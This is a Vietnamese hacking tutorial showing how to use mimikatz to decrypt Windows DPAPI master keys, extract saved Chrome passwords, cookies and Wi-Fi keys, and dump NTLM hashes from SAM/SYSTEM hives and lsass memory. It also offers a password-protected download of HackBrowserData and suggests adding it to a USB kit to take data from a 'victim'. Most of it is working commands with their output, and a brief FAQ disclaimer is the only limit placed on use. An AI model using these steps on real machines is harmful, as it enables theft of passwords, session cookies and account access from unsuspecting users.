Cách Windows lưu trữ mật khẩu

Ngoài mật khẩu dùng để đăng nhập vào Windows, các mật khẩu dưới đây cũng được lưu trữ trong hệ điều hành này:

• Credential Manager
• Windows Vault
• Mật khẩu trình duyệt IE
• Mật khẩu Wifi
• Certifications
• Mật khẩu VPN
• SSH keys
• Mật khẩu Google Chrome
• Chứng chỉ Google Talk, Skype, Dropbox, iCloud, Safari

Tất cả các mật khẩu này đều được mã hóa. Để mã hóa mật khẩu và thông tin đăng nhập, hệ thống phải sử dụng DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu). Đối với người dùng cuối, tất cả các quy trình mã hóa và giải mã dữ liệu đều được minh bạch, tức là các nhà phát triển không đụng chạm tới dữ liệu thô của bạn.

Mật khẩu người dùng được sử dụng để mã hóa các dữ liệu này. Chính xác hơn, các master keys (khóa chính) được tạo ra, với sự trợ giúp của dữ liệu được mã hóa và giải mã, và mật khẩu người dùng được sử dụng để giải mã các khóa chính. Một người dùng có thể có nhiều master keys. Trên thực tế, hàm băm sẽ băm tất cả các mật khẩu cũ được lưu trữ và cố gắng giải mã khóa chính cho đến khi tìm thấy mã băm phù hợp.

Yêu cầu bắt buộc của cơ chế giải mã này là bạn phải có khoá chính phù hợp , ví dụ, mật khẩu từ trình duyệt web Google Chrome. Nhưng nếu bạn sao chép tệp chứa mật khẩu của trình duyệt này sang máy tính khác mà không có khóa chính của máy cũ, thì bạn sẽ không thể giải mã các mật khẩu này.

Cách mã hóa và giải mã bằng DPAPI

Chúng ta sẽ tiếp tục dùng công cụ mimikatz để thực nghiệm Hack tất cả Password đã lưu trên Windows.

Như đã đề cập ở trên, DPAPI được sử dụng để mã hóa và giải mã dữ liệu. DPAPI khá đơn giản không chỉ cho người dùng cuối, mà còn cho các nhà phát triển muốn sử dụng cách mã hóa này – có hai chức năng chính của DPAPI là mã hóa và giải mã, chúng có thể được gọi từ ứng dụng.

Trước khi chuyển sang trích xuất Password từ trình duyệt web và các Password khác được lưu trữ trên Windows, hãy tìm hiểu kỹ hơn về DPAPI. Nhiều bài báo hay đã giải thích cách hoạt động của DPAPI. Vậy nên mình sẽ không giải thích lại nữa, mà chỉ đơn giản là cung cấp các bài viết ở đây. Thay vì đi sâu vào chi tiết lý thuyết của DPAPI, chúng ta hãy thực hiện một vài ví dụ thực tế: mã hóa một chuỗi hoặc tệp bằng DPAPI.

Mô-đun dpapi được sử dụng để làm việc với DPAPI, lệnh protect được sử dụng để mã hóa dữ liệu. Lệnh này có tùy chọn bắt buộc là /data, cuối cùng, bạn chỉ cần nhập đường dẫn đến file hoặc văn bản cần mã hoá là được.

Ví dụ: tôi muốn mã hóa chuỗi ‘Test string to encrypt’:

dpapi::protect /data:"Test string to encrypt"

Hãy chú ý đến phần “Blob:” – đây là dữ liệu được mã hóa ở dạng nhị phân.

Thay vì hiển thị dữ liệu trên command line, chúng có thể được lưu bằng tùy chọn /out:

dpapi::protect /data:"Test string to encrypt" /out:crypted.txt

Kết quả là, tệp crypted.txt đã được tạo. Tệp này chứa dữ liệu “Test string to encrypt” được mã hóa.

Như bạn có thể thấy, chúng ta không cần phải suy nghĩ về khóa chính và mật khẩu – hệ điều hành sẽ tự làm mọi thứ.

Để giải mã, hàm blob được sử dụng (blob là dữ liệu được mã hóa theo phương pháp này) từ cùng một mô-đun dpapi. Hàm này có một tùy chọn bắt buộc là /in, sau đó bạn cần chỉ định dữ liệu để giải mã. Để giải mã, bạn cũng cần chỉ tuỳ chọn /unprotect, nếu không thông tin về blob (dữ liệu được mã hóa) sẽ chỉ được hiển thị mà không có giải mã:

dpapi::blob /in:crypted.txt /unprotect

Nếu bạn muốn lưu dữ liệu đã giải mã vào một tệp, thì hãy sử dụng tùy chọn /out.

Cách giải mã tệp DPAPI trên máy tính khác

Điều gì xảy ra nếu mình chuyển tệp crypto.txt sang một máy tính khác và cố gắng giải mã nó bằng cùng một lệnh trên? Thử xem nhé:

Việc giải mã đã không thành công và xuất hiện lỗi:

* using CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey is: {ac45381a-d9db-4c68-b0e9-7410667c3984}

Nếu bạn để ý kỹ lỗi thì sẽ tìm ra được, thứ chúng ta cần là Masterkey ac45381a-d9db-4c68-b0e9-7410667c3984.

Chuỗi ac45381a-d9db-4c68-b0e9-7410667c398 là mã băm khóa chính. Có thể nói đây là mã định danh hay vân tay của chìa khóa. Trên máy tính ban đầu, nơi dữ liệu đã được mã hóa, việc giải mã chúng rất đơn giản và dễ dàng. Còn khi chúng ta cố gắng giải mã dữ liệu này mà không có khóa chính sẽ không thành công. Vậy nên, thứ chúng ta cần là chỉ định Masterkey từ máy tính ban đầu, cụ thể là máy mà dữ liệu được mã hóa.

Mình đã trích xuất Masterkey và sẽ chỉ định nó bằng cách sử dụng tùy chọn /masterkey và chạy lại lệnh giải mã trên máy tính khác:

dpapi::blob /in:crypted.txt /unprotect /masterkey:5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Thành công rồi đó!

Cách tìm Windows Masterkeys

Mimikatz có chức năng trích xuất tất cả các master keys của người dùng hiện tại. Nhưng trước khi chuyển sang phần đó, chúng ta phải tìm hiểu các masterkeys để hiểu hết về cách giải mã này nhé.

Ở dạng đã giải mã, ví dụ masterkey trông như thế này: 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Các masterkeys được mã hóa và lưu trữ trong một thư mục có dạng %appdata%\Microsoft\Protect{sid}*. Giải thích:

• %appdata% kà C:\Users<USER>\AppData\Roaming
• {sid} là user SID

Trong CMD (Win + r → gõ cmd), bạn có thể thấy SID của mình bằng lệnh:

wmic useraccount where name="%USERNAME%" get sid

Lệnh đó sẽ không hoạt động trong PowerShell. Các lệnh sau sẽ hoạt động trong cả CMD và PowerShell.

Tìm SID của bạn:

whoami /user

Tìm SID cho tất cả các user:

wmic useraccount get name,sid

Các masterkey được mã hoá trên ổ cứng của bạn:

Hàm dpapi::masterkey có thể giải mã các masterkey. Nếu bạn chỉ sử dụng chức năng này với tùy chọn /in, và chỉ định đường dẫn đến masterkey, thì thông tin về nó sẽ được hiển thị mà không cần giải mã:

dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-4099021954-1290662600-116018068-1001\ac45381a-d9db-4c68-b0e9-7410667c3984"

Để trích xuất tất cả các masterkey của người dùng hiện tại cùng một lúc, hãy chạy lệnh:

sekurlsa::dpapi

Các masterkeys trong này gồm:

Authentication Id : 0 ; 371163 (00000000:0005a9db) Session : Interactive from 1 User Name : MiAl Domain : HACKWARE-MIAL Logon Server : HACKWARE-MIAL Logon Time : 25.02.2020 13:25:54 SID : S-1-5-21-4099021954-1290662600-116018068-1001 [00000000] * GUID : {abd3abfe-f620-46e4-a5ee-8dc314ef4169} * Time : 25.02.2020 18:34:11 * MasterKey : 450e3e2609e394dfef60c90533a06ddd84dc9968965bd8579a3c40607704077e506c8d0738e6f42cfd934b3eb75eedc3c29fe7deb8dd0cf05ddb4deb653fcbff * sha1(key) : 806d3a6453a45b9b4eb3e8edafc9dd4b12c0d494 [00000001] * GUID : {ac45381a-d9db-4c68-b0e9-7410667c3984} * Time : 25.02.2020 18:26:00 * MasterKey : 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8 * sha1(key) : d5a7975eea70b6fe5eae3809ed3c7e9c864d1333

GUID là một định danh (identifier), tên của một tệp masterkey. MasterKey chính là khóa chủ.

Để thuận tiện, mimikatz lưu trữ một bộ nhớ cache của các masterkey được giải nén. Và không chỉ lưu trữ và hiển thị chúng, mà còn sử dụng masterkeys nếu cần cho các hoạt động nhất định. Để xem nội dung của bộ nhớ đệm, hãy chạy lệnh:

dpapi::cache

Các masterkeys được giải nén có thể được sử dụng trên máy khác.

Cách lưu và sử dụng master keys

Để lưu bộ nhớ cache, hãy sử dụng các tùy chọn /save và /file: FILE:

dpapi::cache /save/file:cache.bin

Nếu bạn sử dụng tuỳ chọn /file, thì theo mặc định, dữ liệu sẽ được lưu vào tệp mimikatz_dpapi_cache.ndr.

Để load bộ nhớ cache, hãy sử dụng tùy chọn /load và /file: FILE:

dpapi::cache /load /file:cache.bin

CREDHIST

Tệp này nằm trên đường dẫn “%appdata%\Microsoft\Protect\CREDHIST”, chỉ tác dụng trong trường hợp không thuộc domain nào cả. Tệp này:

• chứa: thông tin đăng nhập được mã hóa trước đó của người dùng (SHA1 & NTLM)
• được sử dụng để: giải mã masterkey
• được bảo vệ bởi: mật khẩu SHA1 được dùng gần đây nhất
• mỗi entry được bảo vệ bởi khóa trước đó, …..

Để xem các thuộc tính của tệp này, hãy chạy lệnh:

dpapi::credhist /in:"%appdata%\Microsoft\Protect\CREDHIST"

Ví dụ kết quả:

**CREDHIST** dwVersion : 00000001 - 1

guid : {86cddf31-2b68-42fb-a6e6-28b628228fc8}

dwNextLen : 00000000 - 0

Mình đã cố gắng giải mã tệp này trong mimikatz bằng lệnh:

dpapi::credhist /in:"Z:\files\CREDHIST" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

nhưng lại không thành công. Nếu bạn biết cách giải mã nó, hãy để lại bình luận nhé.

Cách trích xuất tất cả mật khẩu của Google Chome

Trong mimikatz, sử dụng lệnh dpapi :: chrome, bạn có thể trích xuất tất cả mật khẩu của người dùng hiện tại. Bạn cần sử dụng tùy chọn /in với đường dẫn đến tệp lưu trữ thông tin xác thực. Tệp này nằm trong “%localappdata%\Google\Chrome\User Data\Default\Login Data”. Nhân tiện, tệp này thuộc dạng cơ sở dữ liệu SQLite, trong đó tất cả dữ liệu ngoại trừ mật khẩu (ví dụ: địa chỉ của các trang web) được lưu trữ dưới dạng văn bản rõ ràng. Và mật khẩu được mã hóa bằng DPAPI. Để giải mã, chúng ta cần phải sử dụng tuỳ chọn /unprotect:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

Cách trích xuất tất cả cookie của Google Chome

Google Chome lưu trữ cookie trong tệp “%localappdata%\Google\Chrome\User Data\Default\Cookies”. Như với mật khẩu của trang web, tất cả dữ liệu ngoại trừ cookie sẽ được lưu trữ dưới dạng văn bản rõ ràng. Để truy xuất tất cả thông tin của cookie, hãy chạy lệnh:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect

Cách trích xuất mật khẩu Wi-Fi của Windows

Trong Windows, mật khẩu Wi-Fi có thể được trích xuất mà không cần mimikatz, ví dụ:

netsh wlan export profile interface= "<INTERFACE NAME>" key=clearfolder=c:\ netsh wlan export profile interface="*"key=clearfolder=c:\

Để phương pháp này hoạt động, bạn phải cắm card Wi-Fi.

Nhược điểm của phương pháp này là nó không hoạt động đối với máy tính đã tắt.

Trong mimikatz có lệnh dpapi :: wifi và dpapi :: wwan tương ứng để trích xuất mật khẩu từ các kết nối Wi-Fi và WWAN đã lưu.

Mật khẩu Wi-Fi được lưu dưới dạng:

• C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml

Và mật khẩu WWAN được lưu dưới dạng:

• C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml

Bạn cần bắt đầu bằng cách lấy các masterkeys. Vì mình thực hiện các lệnh này trên local, nên mình giải mã các masterkey bằng lệnh:

sekurlsa::dpapi

Mình đã tìm thấy trên local hai interfaces, mỗi interfaces có một cấu hình kết nối Wi-Fi:

• C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml
• C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml

Để trích xuất mật khẩu Wi-Fi, mìnhchạy các lệnh:

dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{24FF5798-6078-4148-96B5-75191CCEA209}\{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml"

Mật khẩu trong dòng “Key Material:”.

dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}\{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml" /unprotect

Nếu masterkeys không có trong bộ nhớ cache mimikatz, bạn có thể chỉ định rõ ràng nó bằng tùy chọn /masterkey.

Cách trích xuất mật khẩu Google Chrome từ một máy tính khác

1. Để giải mã tệp “%localappdata%\Google\Chrome\User Data\Default\Login Data”, bạn cần Masterkey được mã hóa mật khẩu trong tệp này.
2. Để giải mã masterkeys, bạn cần mật khẩu người dùng Windows để đăng nhập vào hệ thống và tệp masterkeys được mã hóa, tức là tệp %appdata%\Microsoft\Protect{sid}*.
3. Để bẻ khóa mật khẩu người dùng Windows, bạn cần có hàm băm NTLM.
4. Để truy xuất mã băm NTLM, bạn cần các tệp đăng ký (registry files) C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, hoặc kết xuất lsass.DMP. Hơn nữa, tốt hơn là sử dụng kết xuất vì có thể trích xuất hàm băm SHA1 từ nó và hàm băm này có thể được sử dụng trực tiếp để giải mã masterkeys.
   lsadump::sam /system:C:\path\to\SYSTEM /sam:C:\path\to\SAM
5. Sau đó, để lấy Masterkey ngoại tuyến, bạn cần chạy lệnh sau:
   dpapi::masterkey /in:"path\to\encrypted\masterkey" "/password:target_user_password" /sid:target_user_SID

SID có thể được lấy từ tên thư mục đến masterkeys được mã hóa.

dpapi::masterkey /in:"Z:\files\1f89c852-1c9d-47f9-81f8-b18be7c11512" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

Nếu thành công, thông tin sau sẽ được hiển thị ở cuối kết quả:

[masterkey] with volatile cache: SID:S-1-5-21-4099021954-1290662600-116018068-1003;GUID:{1bd91e0f-25f3-49e9-a370-bc68d1f0d272};MD4:ca76a176340f0291e1cc8ea7277fc571;SHA1:886d0f341f3c29030ec855334a08e52868c06c69; key : 89e43af0a178c2f1c7311c028dd75e2d2489fc78a3df92808094b1671785d6fd7f107ec562320bcaa8563be759abbf60bf70791107c5240cda2cfddcb003df19 sha1: b73d4d8cbbdafa960e49ca480559a4b530e65f05

Dòng chính bắt đầu bằng key– đây là masterkey được giải mã.

Ngoài ra, masterkeys sẽ được lưu vào bộ nhớ đệm.

Cuối cùng, để giải mã ngoại tuyến mật khẩu trình duyệt Google Chrome, hãy chạy lệnh:

dpapi::chrome /in:"PATH\TO\Login Data" /unprotect /masterkey:MASTERKEY

Nếu masterkey đã có trong bộ nhớ cache, thì bạn có thể bỏ qua tùy chọn /masterkey.

Nơi Windows lưu trữ mật khẩu

Đây là các đường dẫn đến các tệp được mã hóa bằng DPAPI. Nếu bị thiếu cái nào, thì các bạn nhớ bình luận nhé:

Pivot table của tác giả mimikatz (rất khó đọc):

• File Excel liệt kê nơi lưu Password trong Windows

Mật khẩu Wi-Fi được lưu trữ trong:

• C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{interface guid}*.xml

Mật khẩu WWAN được lưu trữ trong:

• C:\ProgramData\Microsoft\Wlansvc\Profiles{interface guid}*.xml Xml

Cookies Google Chrome được lưu trữ trong:

• %localappdata%\Google\Chrome\User Data\Default\Cookies

Mật khẩu của website được lưu trữ trong:

• %localappdata%\Google\Chrome\User Data\Default\Login Data

% localappdata% thường là ‘C:\Users<USERNAME>\AppData\Local’.

Các masterkeys đã mã hóa được lưu trữ trong một thư mục có dạng %appdata%\Microsoft\Protect{sid}*.

• %appdata% là C:\Users<USERNAME>\AppData\Roaming
• {sid} là user SID

System master keys:

• c:\Windows\System32\Microsoft\Protect*

Chứng chỉ user:

• %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
• %APPDATA%\Microsoft\Crypto\RSA<SID>\

Chứng chỉ hệ thống:

• HKLM:\SOFTWARE\Microsoft\SystemCertificates\MY\Certificates*
• C:\Programdata\Microsoft\Crypto\RSA\MachineKeys\

Dropbox:

• HKCU\SOFTWARE\Dropbox\ks
• HKCU\SOFTWARE\Dropbox\ks1
• %APPDATA%\Local\Dropbox\instance1\config.dbx
• %APPDATA%\Local\Dropbox\instance_db\instanse.dbx

Rsa securid:

• %LOCALAPPDATA%\RSA\SecurIDStorage

Kết luận

Bạn sẽ tìm thấy thêm thông tin trong tài liệu về các mô-đun và lệnh của mimikatz. 

Câu hỏi thường gặp

Mimikatz là gì và nó hoạt động như thế nào?

Mimikatz là một công cụ mạnh mẽ cho phép truy xuất mật khẩu và thông tin đăng nhập đã lưu trong hệ điều hành Windows. Nó hoạt động bằng cách khai thác các lỗ hổng bảo mật để truy cập vào bộ nhớ hệ thống và trích xuất dữ liệu nhạy cảm, bao gồm cả mật khẩu được lưu trữ bởi Credential Manager, trình duyệt web và các ứng dụng khác.

DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu) là gì và vai trò của nó trong việc lưu trữ mật khẩu?

DPAPI là một cơ chế mã hóa được tích hợp sẵn trong Windows, được sử dụng để bảo vệ dữ liệu nhạy cảm, bao gồm mật khẩu. Nó mã hóa dữ liệu bằng cách sử dụng các khóa chính được liên kết với tài khoản người dùng. Để giải mã, cần có khóa chính tương ứng.

Tôi có thể sử dụng Mimikatz để truy cập mật khẩu của người khác mà không cần sự cho phép không?

Không. Sử dụng Mimikatz để truy cập mật khẩu của người khác mà không có sự cho phép là bất hợp pháp và vi phạm đạo đức nghề nghiệp. Công cụ này chỉ nên được sử dụng cho mục đích nghiên cứu bảo mật hoặc với sự cho phép của chủ sở hữu hệ thống.

Trình duyệt có thể Hack được bằng HackBrowserData

Windows

MacOS

Do chính sách bảo mật của Apple, một số trình duyệt yêu cầu mật khẩu người dùng hiện tại để giải mã.

Linux

Cách sử dụng HackBrowserData

Như một thói quen, nếu bạn đang dùng máy tính cá nhân sẽ thường lưu Password vào trình duyệt để tiện đăng nhập hoặc trong trường hợp bạn cho người khác sử dụng máy tính, bạn hoàn toàn có thể bị bí mật đánh cắp cookie và thông tin duyệt web mà không hề hay biết. Với HackBrowserData, chỉ cần 1 cú click, toàn bộ dữ liệu của bạn bao gồm: mật khẩu, lịch sử duyệt web, thẻ tín dụng, bookmark sẽ được xuất ra file và dễ dành đánh cắp.

Điểm nguy hiểm là HackBrowserData có thể Hack luôn cả Cookie của trình duyệt, giúp Hacker không cần Password vẫn có thể đăng nhập được cho dù bạn có bật xác minh 2 bước cho tài khoản.

Bạn có thể Download HackBrowserData đã được build sẵn cho từng hệ điều hành bằng link bên dưới:

Download | Backup

(Password: anonyviet.com)

Nếu bạn muốn hack trình duyệt trên Windows, thì giải nén ra chọn file hack-browser-data-v0.3.2-windows-64bit.zip, rồi giải nén tiếp. Có một file hack-browser-data.exe.

Chỉ cần kích hoạt file này lên, tất cả thông tin sẽ tự xuất ra file excel cho bạn, nội dung nằm trong thư mục results.

Thử mở file chrome_cookie lên xem nào, èo tất cả cookie facebook, mail… trên trình duyệt đều được lưu vào đây.

Ngoài ra bạn có thể dùng CMD để kích hoạt hack-browser-data.exe và thêm 1 số tham số, nếu muốn Hack trình duyệt theo ý muốn. Ví dụ: chuyển thành file json, nén zip, chọn trình duyệt cần hack password…

C:\Users\AnonyViet\Desktop>hack-browser-data.exe -h

NAME:
   hack-browser-data - Export passwords/cookies/history/bookmarks from browser

USAGE:
   [hack-browser-data -b chrome -f json -dir results -cc]
   Get all data(password/cookie/history/bookmark) from chrome

VERSION:
   0.3.2

GLOBAL OPTIONS:
   --verbose, --vv                     verbose (default: false)
   --compress, --cc                    compress result to zip (default: false)
   --browser value, -b value           available browsers: all|chrome-beta|edge|
brave|opera|opera-gx|chrome|qq|firefox|vivaldi|360 (default: "all")
   --results-dir value, --dir value    export dir (default: "results")
   --format value, -f value            format, csv|json|console (default: "csv")

   --profile-dir-path value, -p value  custom profile dir path, get with chrome:
//version
   --key-file-path value, -k value     custom key file path
   --help, -h                          show help (default: false)
   --version, -v                       print the version (default: false)

C:\Users\AnonyViet\Desktop>hack-browser-data.exe -b all -f json --dir results -cc
[x]:  Get 44 cookies, filename is results/microsoft_edge_cookie.json
[x]:  Get 54 history, filename is results/microsoft_edge_history.json
[x]:  Get 1 passwords, filename is results/microsoft_edge_password.json
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.json
[x]:  Get 6 bookmarks, filename is results/360speed_bookmark.json
[x]:  Get 19 cookies, filename is results/360speed_cookie.json
[x]:  Get 18 history, filename is results/360speed_history.json
[x]:  Get 1 passwords, filename is results/360speed_password.json
[x]:  Get 12 history, filename is results/qq_history.json
[x]:  Get 1 passwords, filename is results/qq_password.json
[x]:  Get 12 bookmarks, filename is results/qq_bookmark.json
[x]:  Get 14 cookies, filename is results/qq_cookie.json
[x]:  Get 28 bookmarks, filename is results/firefox_bookmark.json
[x]:  Get 10 cookies, filename is results/firefox_cookie.json
[x]:  Get 33 history, filename is results/firefox_history.json
[x]:  Get 1 passwords, filename is results/firefox_password.json
[x]:  Get 1 passwords, filename is results/chrome_password.json
[x]:  Get 4 bookmarks, filename is results/chrome_bookmark.json
[x]:  Get 6 cookies, filename is results/chrome_cookie.json
[x]:  Get 6 history, filename is results/chrome_history.json
[x]:  Compress success, zip filename is results/archive.zip

Chốt, bạn có thể thêm HackBrowserData vào bộ công cụ USB Hack Password mà AnonyViet đã hướng dẫn để có thể lấy thêm được nhiều thông tin từ victim.

Hiện mã nguồn của HackBrowserData có thể build cho từng loại hệ điều hành, bạn có thể thực hiện theo hướng dẫn của tác giả tại trang github.

Câu hỏi thường gặp

HackBrowserData hoạt động trên hệ điều hành nào?

HackBrowserData hoạt động trên Windows, macOS và Linux.

Những trình duyệt nào được hỗ trợ bởi HackBrowserData?

HackBrowserData hỗ trợ hầu hết các trình duyệt phổ biến như Chrome, Firefox, Edge, Brave, Opera, Vivaldi. Tuy nhiên, hỗ trợ có thể khác nhau tùy thuộc vào hệ điều hành và phiên bản trình duyệt.

Tôi có thể trích xuất những thông tin gì từ trình duyệt bằng HackBrowserData?

HackBrowserData có thể trích xuất mật khẩu đã lưu, cookie, bookmark, lịch sử duyệt web và cả thông tin thẻ tín dụng (nếu có lưu).

Không phải ai cũng sử dụng mật khẩu trên Windows – đặc biệt hiếm khi người dùng đặt mật khẩu trên máy tính ở nhà. Nhưng trong công ty hoặc khi sử dụng Windows làm máy chủ, đặt mật khẩu là điều bắt buộc. Một thuộc tính thú vị khác của mật khẩu Windows là nếu người dùng có tài khoản Microsoft trực tuyến, chuỗi băm mật khẩu vẫn được lưu trữ trên máy tính cục bộ và mật khẩu được giải mã có thể được sử dụng để đăng nhập cho cả máy tính cục bộ và các dịch vụ trực tuyến của Microsoft.

Windows lưu trữ mật khẩu đăng nhập của người dùng ở đâu?

Mật khẩu người dùng Windows được lưu trữ trong Windows registry có tên là SYSTEM và SAM trong các tệp:

• C:/Windows/System32/config/SAM
• C:/Windows/System32/config/SYSTEM

Thay vì lưu trữ mật khẩu văn bản thuần túy, Windows lưu trữ mật khẩu theo mã băm. Những hàm băm này có thể bị brute-forced một cách dễ dàng. Nhưng ngay cả khi không bị bẻ khóa, hàm băm mật khẩu Windows vẫn có thể được sử dụng để thu thập dữ liệu và thực hiện các cuộc tấn công.

Cách lấy mã băm mật khẩu Windows

Dump mã băm mật khẩu trên máy tính đang chạy

Trên hệ thống đang chạy, bạn sẽ khá khó khăn trong việc truy cập các tệp C:/Windows/System32/config/SAM và C:/Windows/System32/config/SYSTEM, mặc dù điều này là có thể. Để lưu bản sao của những tệp này, bạn có thể sử dụng tiện ích reg:

Trong một số hướng dẫn, thay vì SYSTEM, SECURITY đã được lưu – đây là một sai lầm, bạn không thể khôi phục hàm băm với SECURITY  và SAM, chúng ta chỉ cần SYSTEM và SAM!

Mật khẩu băm cũng được chứa trong RAM, cụ thể là trong Local Security Authority Process (lsass.exe). Quá trình này luôn được khởi chạy trong Windows và bạn có thể kết xuất nó (một bản sao của quá trình trong RAM được lưu vào đĩa dưới dạng tệp). Bạn có thể sử dụng các tiện ích khác nhau để kết xuất, bao gồm hai tiện ích chính thức bên dưới:

• Procdump
• Task Manager

Để mở Task Manager, hãy nhấn Win + r và nhập taskmgr, sau đó nhấn ENTER. Hoặc, nhấp chuột phải vào taskbar và chọn “Task Manager”.

Trong Task Manager, trong phần “Windows Processes”, nhấp chuột phải vào “Local Security Authority Process“và chọn “Create Dump File”.

Tệp sẽ được lưu theo đường dẫn C:\Users\USERNAME\AppData\Local\Temp\lsass.DMP. Thay chỗ USERNAME bằng tên người dùng của bạn.

Dump mã băm mật khẩu trên máy tính đã tắt

Trên máy tính đã tắt, để lấy lại mật khẩu của người dùng sau này, bạn chỉ cần sao chép các tệp:

• C:/Windows/System32/config/SAM
• C:/Windows/System32/config/SYSTEM

Các tệp tương tự có thể được tìm thấy trong bản sao lưu Windows hoặc trong bản sao Shadow của đĩa hoặc bạn có thể sao chép nó bằng cách khởi động từ USB Live.

Sự khác biệt giữa hàm băm NTLM và NTLMv1/v2 và Net-NTLMv1/v2

Trên thực tế, NTLM và NTLMv1/v2 là những thứ khá khác nhau. Hàm băm NTLM được lưu trữ và sử dụng cục bộ và các hàm băm NTLMv1/NTLMv2 được sử dụng để xác thực mạng và được lấy từ hàm băm NTLM. Sử dụng bất kỳ hàm băm nào trên đây, bạn cũng có thể giải mã mật khẩu người dùng Windows, nhưng đây là các thuật toán mã hóa/bẻ khóa khác nhau.

Đối với Pass-the-hash, mình chỉ sử dụng hàm băm NTLM vì các hàm băm NTLMv1 / NTLMv2 không phù hợp.

Có một câu hỏi nữa là băm Net-NTLMv1 / v2 là gì. Hàm băm Net-NTLMv1/v2 là tên viết tắt của hàm băm NTLMv1/v2, tức là NTLMv1/v2 và Net-NTLMv1/v2 giống nhau. Còn NTLM thì khác.

Trong bài viết này, mình sẽ giải nén, bẻ khóa và khai thác mà không cần brute-force hàm băm NTLM.

Mimikatz là gì?

Mimikatz nổi tiếng với khả năng trích xuất mật khẩu ở dạng văn bản thuần túy (plain text), mã băm, mã PIN và kerberos từ RAM. Mimikatz cũng có thể thực hiện các cuộc tấn công pass-the-hash, pass-the-ticket hoặc xây dựng Golden tickets.

Đây là những cách triển khai mimikatz trong Meterpreter & Metasploit, phản chiếu DLL trong PowerShell. Mimikatz có thể chạy trong Wine trên Linux, nhưng các chức năng liên quan đến trích xuất dữ liệu trực tiếp từ Windows sẽ không hoạt động; các chức năng để giải nén hàm băm từ kết xuất hoặc giải mã từ tệp đăng ký (registry files) vẫn sẽ hoạt động trên Linux.

Cách cài đặt mimikatz trên Windows

Mimikatz là một tiện ích dòng lệnh di động. Tức là, bạn không cần cài đặt nó.

1. Truy cập trang chủ của mimikatz, tải xuống tệp mimikatz_trunk.7z hoặc mimikatz_trunk.zip. Và giải nén nó.

2. Mở PowerShell (Win + x → Windows PowerShell (administrator)) hoặc command line (Win + r → cmd).

3. Tại dấu nhắc lệnh, sử dụng lệnh cd để điều hướng đến thư mục có tệp mimikatz.exe. Ví dụ: tệp lưu trữ được giải nén vào thư mục C:\Users\MiAl\Downloads, vậy thì tệp chúng ta cần tìm sẽ nằm trong thư mục C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:

cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

4. Chạy mimikatz:

.\mimikatz.exe

Cách giải nén hàm băm mật khẩu người dùng NTLM từ các tệp registry

Các lệnh sau phải được thực hiện trong bảng điều khiển mimikatz.

Lệnh log cho phép ghi tất cả đầu ra vào một FILE:

log FILE

Ví dụ: để ghi tất cả đầu ra vào tệp hash.txt:

log hash.txt

Mình đã sao chép các tệp SYSTEM và SAM từ máy tính đã tắt, bây giờ để giải nén hàm băm, mình cần chạy một lệnh có dạng:

lsadump::sam /system:C:\...\...\SYSTEM /sam:C:\...\...\SAM

Một ví dụ về lệnh của mình:

lsadump::sam /system:C:\Share-Server\files\SYSTEM /sam:C:\Share-Server\files\SAM

Kết quả:

Kết quả rất nhiều dữ liệu. Nhưng thứ chúng ta cần quan tâm là các dòng tuần tự có dạng:

• User: USERNAME
• Hash NTLM: HASH

Trong ví dụ trên, thì các dòng này có kết quả là:

• User: ShareOverlord
• Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6
• User: Alexey
• Hash NTLM: ca76a176340f0291e1cc8ea7277fc571

Ngoài ra còn có các dòng chứa tên người dùng:

• User: MiAl
• User: Администратор

Nhưng sau không có chuỗi nào với hàm băm NTLM, bởi vì những người dùng này không có mật khẩu trong hệ thống.

Nếu bạn muốn trích xuất dữ liệu từ các tệp registry của hệ điều hành hiện tại, hãy thoát mimikatz, bằng cách nhấn Ctrl + C.

Bây giờ chúng ta sẽ kết xuất tổ hợp registry SYSTEM  và SAM của hệ thống hiện tại:

reg save HKLM\SYSTEM SystemBkup.hiv

reg save HKLM\SAM SamBkup.hiv

Chạy lại mimikatz:

.\mimikatz.exe

Chạy log:

log hash-local.txt

Và mình sẽ thực hiện lệnh chỉ ra các tệp mà các tổ hợp registry được lưu vào đó, đó là SystemBkup.hiv và SamBkup.hiv:

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

Kết quả:

Chỉ một người dùng có hàm băm được tìm thấy ở đây:

User: Администратор

Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

